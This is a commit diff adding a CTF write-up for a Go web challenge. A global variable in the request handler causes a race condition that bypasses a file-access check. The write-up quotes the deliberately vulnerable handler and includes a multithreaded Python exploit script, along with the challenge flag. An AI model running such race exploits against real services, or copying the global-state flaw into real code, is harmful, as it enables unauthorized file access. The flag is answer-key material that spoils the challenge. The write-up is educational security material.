Added writeups
This commit is contained in:
152
shared_state_of_mind.md
Normal file
152
shared_state_of_mind.md
Normal file
@@ -0,0 +1,152 @@
|
||||
# Shared State of Mind
|
||||
|
||||
Welcome to the write-up for **Shared State of Mind**. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster.
|
||||
|
||||
We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the `flag.txt` file, which is protected by a security check.
|
||||
|
||||
---
|
||||
|
||||
## 1. Initial Reconnaissance
|
||||
|
||||
The challenge provides a URL and a downloadable archive `shared_state_of_mind.tar.xz`.
|
||||
Connecting to the URL gives us a file viewer interface (or API). We can request files using `?file=...`.
|
||||
|
||||
If we try `?file=worker.go`, we get the source code.
|
||||
If we try `?file=flag.txt`, we get:
|
||||
`Security Check Failed: Forbidden`
|
||||
|
||||
## 2. Source Code Analysis
|
||||
|
||||
The archive contains two key Go files: `gateway.go` and `worker.go`.
|
||||
|
||||
**`gateway.go`**:
|
||||
This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated `./worker` process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us.
|
||||
|
||||
**`worker.go`**:
|
||||
This is where the vulnerability lies. Let's look at how it handles requests:
|
||||
|
||||
```go
|
||||
// GLOBAL VARIABLE
|
||||
var checkPassed bool
|
||||
|
||||
func handler(w http.ResponseWriter, r *http.Request) {
|
||||
filename := r.URL.Query().Get("file")
|
||||
|
||||
// 1. Security Check
|
||||
if strings.Contains(filename, "flag") {
|
||||
checkPassed = false
|
||||
} else {
|
||||
checkPassed = true
|
||||
}
|
||||
|
||||
// 2. Logging (simulates delay)
|
||||
logAccess(filename)
|
||||
|
||||
// 3. Serve File
|
||||
if checkPassed {
|
||||
content, _ := ioutil.ReadFile(filename)
|
||||
w.Write(content)
|
||||
} else {
|
||||
http.Error(w, "Forbidden", 403)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 3. The Vulnerability: Race Condition
|
||||
|
||||
The variable `checkPassed` is defined as a **global variable** at the package level.
|
||||
In Go, `http.ListenAndServe` creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the *same* `checkPassed` variable.
|
||||
|
||||
This creates a **Race Condition** (specifically a Time-of-Check to Time-of-Use issue):
|
||||
|
||||
1. **Request A (Safe)** comes in for `worker.go`. It sets `checkPassed = true`.
|
||||
2. **Request B (Malicious)** comes in for `flag.txt`. It sets `checkPassed = false`.
|
||||
3. **Request A** pauses slightly (e.g., during `logAccess` or context switching).
|
||||
4. **Request B** pauses slightly.
|
||||
5. **Request A** resumes and potentially overwrites `checkPassed` back to `true` *after* Request B had set it to false, but *before* Request B performs its final check.
|
||||
|
||||
If we time it right, Request B (requesting the flag) will reach the line `if checkPassed` at the exact moment that Request A has set the global variable to `true`.
|
||||
|
||||
## 4. Exploitation strategy
|
||||
|
||||
To exploit this, we need to flood the server with two types of requests simultaneously using the **same session cookie** (so they hit the same worker process):
|
||||
|
||||
1. **Safe Requests:** Repeatedly ask for a allowed file (e.g., `?file=worker.go`). This constantly attempts to set `checkPassed = true`.
|
||||
2. **Malicious Requests:** Repeatedly ask for `?file=flag.txt`. This attempts to read the flag.
|
||||
|
||||
We can use a simple Python script with multiple threads to achieve this.
|
||||
|
||||
### Exploit Script
|
||||
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
|
||||
# --- TARGET CONFIGURATION ---
|
||||
TARGET_URL = "http://challenge-url:1320/"
|
||||
|
||||
print("[*] Initializing Session...")
|
||||
s = requests.Session()
|
||||
try:
|
||||
s.get(TARGET_URL)
|
||||
except requests.exceptions.ConnectionError:
|
||||
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
||||
sys.exit(1)
|
||||
|
||||
if 'ctf_session' not in s.cookies:
|
||||
print("[-] Failed to get session cookie")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
||||
cookie = {'ctf_session': s.cookies['ctf_session']}
|
||||
|
||||
def do_safe():
|
||||
while True:
|
||||
try:
|
||||
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_exploit():
|
||||
while True:
|
||||
try:
|
||||
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
||||
if "{flag: " in r.text:
|
||||
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
||||
sys.exit(0)
|
||||
except:
|
||||
pass
|
||||
|
||||
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
||||
|
||||
# High volume of safe threads to flip the switch
|
||||
for i in range(10):
|
||||
t = threading.Thread(target=do_safe)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
# Exploit thread
|
||||
for i in range(1):
|
||||
t = threading.Thread(target=do_exploit)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
```
|
||||
|
||||
## 5. The Solution
|
||||
|
||||
Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to `true`.
|
||||
|
||||
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
||||
|
||||
## Lessons Learned
|
||||
|
||||
* **Avoid Global State:** Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context.
|
||||
* **Concurrency is Hard:** Just because code looks sequential doesn't mean it executes sequentially relative to other requests.
|
||||
* **Thread Safety:** If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely.
|
||||
|
||||
Happy Hacking!
|
||||
Reference in New Issue
Block a user